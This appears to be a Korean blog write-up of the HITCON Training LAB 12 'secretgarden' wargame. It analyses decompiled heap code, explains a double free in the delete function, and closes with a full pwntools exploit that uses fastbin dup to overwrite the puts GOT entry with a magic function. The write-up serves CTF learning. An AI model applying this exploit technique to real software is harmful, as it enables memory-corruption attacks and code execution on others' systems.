728x90
1. 문제
1) mitigation 확인
카나리와 NX가 걸려있다
2) 문제 확인
비밀스러운 정원을 만드는 것 같다. 힙 관련 문제로 의심된다. 여기서 보면 3번과 4번의 차이가 먼지 확인해봐야겠다.
3) 코드흐름 파악
- add() 함수
int add() { size_t size; // [rsp+0h] [rbp-20h] flower *flower; // [rsp+8h] [rbp-18h] void *buf; // [rsp+10h] [rbp-10h] unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); flower = 0LL; buf = 0LL; LODWORD(size) = 0; if ( (unsigned int)flowercount > 0x63 ) return puts("The garden is overflow"); flower = (flower *)malloc(0x28uLL); memset(flower, 0, 0x28uLL); printf("Length of the name :"); if ( (unsigned int)__isoc99_scanf("%u", &size) == -1 ) exit(-1); buf = malloc((unsigned int)size); if ( !buf ) { puts("Alloca error !!"); exit(-1); } printf("The name of flower :"); read(0, buf, (unsigned int)size); flower->name = (char *)buf; printf("The color of the flower :"); __isoc99_scanf("%23s", flower->color); flower->vaild = 1; for ( HIDWORD(size) = 0; HIDWORD(size) <= 0x63; ++HIDWORD(size) ) { if ( !*(&flowerlist + HIDWORD(size)) ) { *(&flowerlist + HIDWORD(size)) = flower; break; } } ++flowercount; return puts("Successful !"); }
- add함수는 0x63번까지만 호출가능
- flower라는 구조체를 위해 0x28 고정 사이즈로 malloc이 먼저 호출됨
- 사용자가 입력한 사이즈만큼 malloc을 한번더 하고 그 공간(buf)에 꽃 이름을 입력함
- flower→name에 buf 주소를 넣음
- flower→color에 꽃 색깔을 넣음
- flower→valid에 1을 넣음. 이는 del 함수에서 확인하는 용도임
- flowerlist는 flower 구조체 배열이라고 생각하면 됨. 여기에 flower 주소를 인덱스마다 넣음
struct flower { int vaild; char *name; char color[24]; };
- del() 함수
int del() { int result; // eax unsigned int v1; // [rsp+4h] [rbp-Ch] unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); if ( !flowercount ) return puts("No flower in the garden"); printf("Which flower do you want to remove from the garden:"); __isoc99_scanf("%d", &v1); if ( v1 <= 0x63 && *(&flowerlist + v1) ) { *(_DWORD *)*(&flowerlist + v1) = 0; free(*((void **)*(&flowerlist + v1) + 1)); result = puts("Successful"); } else { puts("Invalid choice"); result = 0; } return result; }
- flowercount를 검사함
- flowerlist배열의 인덱스를 입력받음
- flowerlist+v1이 가리키는 값 4바이트에 0을 넣음
- flowerlist+v1이 가리키는 주소 + 8바이트에 위치해있는 꽃 이름을 위해 할당한 청크를 해제함
- 꽃 색깔은 여기서 해제 안함
- clean() 함수
int clean() { unsigned int i; // [rsp+Ch] [rbp-4h] for ( i = 0; i <= 0x63; ++i ) { if ( *(&flowerlist + i) && !*(_DWORD *)*(&flowerlist + i) ) { free(*(&flowerlist + i)); *(&flowerlist + i) = 0LL; --flowercount; } } return puts("Done!"); }
- flowerlist+i*8에 값이 존재하고, flowerlist+i*8이 가리키는 값 4바이트가 존재하면 flower 구조체를 free 시킴
2. 접근방법
DFB가 가능하고, magic 함수가 있다. fastbin dup을 이용하여 puts함수got를 할당받고, 그곳에 magic함수를 넣으면 끝이다. 코드만 봐서는 복잡해보였는데, 실제 문제풀때는 간단한 문제이다.
우리에게 필요한 것은 다음과 같다
- puts_got = 0x602020
- libc 2.23 환경에서 작업하기 때문에 청크 사이즈를 맞춰줘야한다. 0x601ffa 를 할당하게 해야지 청크 사이즈에서 에러가 안난다.
- 0x601ffa가 할당됬다면 더미*22+magic을 입력하여 0x602020에 값을 magic으로 덮자
0x601ffa를 할당하게되면 0x60을 사이즈로 판단하여 할당해줄것이다.
3. 풀이
최종 익스코드는 다음과 같다
from pwn import *
p=process("./secretgarden")
gdb.attach(p,'code\nb *0xEE8+$code\n')
def add(size,name,color):
p.sendlineafter("Your choice : ","1")
p.sendlineafter("the name :",str(size))
p.sendafter("of flower :",str(name))
p.sendlineafter("the flower :",str(color))
def remove(index):
p.sendlineafter("Your choice : ","3")
p.sendlineafter("garden:",str(index))
put_got=0x602020
fake_chunk=put_got-14
magic=0x400C7B
add(80,"AA","BB")
add(80,"CC","DD")
remove(0)
remove(1)
remove(0)
payload="A"*22+p64(magic)
add(80,p64(0x601ffa),"red")
add(80,"A","B")
add(80,"C","D")
add(80,payload,"yellow")
p.interactive()
4. 몰랐던 개념
코드가 길다고 쫄지말자
728x90
'워게임 > Hitcon training' 카테고리의 다른 글
[Hicon training] LAB 14 (0) | 2020.04.23 |
---|---|
[Hicon training] LAB 13 (0) | 2020.04.23 |
[Hicon training] LAB 11 (0) | 2020.04.20 |
[Hicon training] LAB 10 (0) | 2020.04.16 |
[Hicon training] LAB 9 (0) | 2020.04.16 |